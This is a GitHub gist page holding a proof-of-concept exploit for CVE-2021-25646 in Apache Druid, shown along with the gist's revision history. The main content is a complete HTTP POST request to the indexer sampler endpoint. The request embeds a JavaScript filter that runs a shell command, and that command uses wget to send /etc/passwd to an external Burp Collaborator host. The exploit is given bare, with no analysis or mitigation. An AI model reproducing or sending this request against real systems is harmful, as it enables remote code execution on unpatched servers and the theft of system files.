Skip to content

Instantly share code, notes, and snippets.

@RASSec

RASSec/CVE-2021-25646.md

Forked from pikpikcu/CVE-2021-25646.md
Created February 5, 2021 06:53
Show Gist options
  • Save RASSec/1ca87be709c1f40f14d6947bba366e92 to your computer and use it in GitHub Desktop.
Save RASSec/1ca87be709c1f40f14d6947bba366e92 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @pikpikcu pikpikcu revised this gist Feb 3, 2021. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions CVE-2021-25646.md
    View file
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,4 @@
    ```
    POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1
    Host: REDACTED
    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
    @@ -16,3 +17,4 @@ Connection: close
    }
    }
    },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
    ```
  2. @pikpikcu pikpikcu renamed this gist Feb 3, 2021. 1 changed file with 0 additions and 0 deletions.
    0 gistfile1.txt → CVE-2021-25646.md
    View file
    File renamed without changes.
  3. @pikpikcu pikpikcu revised this gist Feb 3, 2021. No changes.
  4. @pikpikcu pikpikcu created this gist Feb 3, 2021.
    18 changes: 18 additions & 0 deletions gistfile1.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1
    Host: REDACTED
    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Content-Type: application/json
    Content-Length: 1006
    Connection: close

    {"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
    "function": "function(value){return java.lang.Runtime.getRuntime().exec('wget --post-file /etc/passwd burpcollaborator.net')}",
    "dimension": "added",
    "": {
    "enabled": "true"
    }
    }
    }
    },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}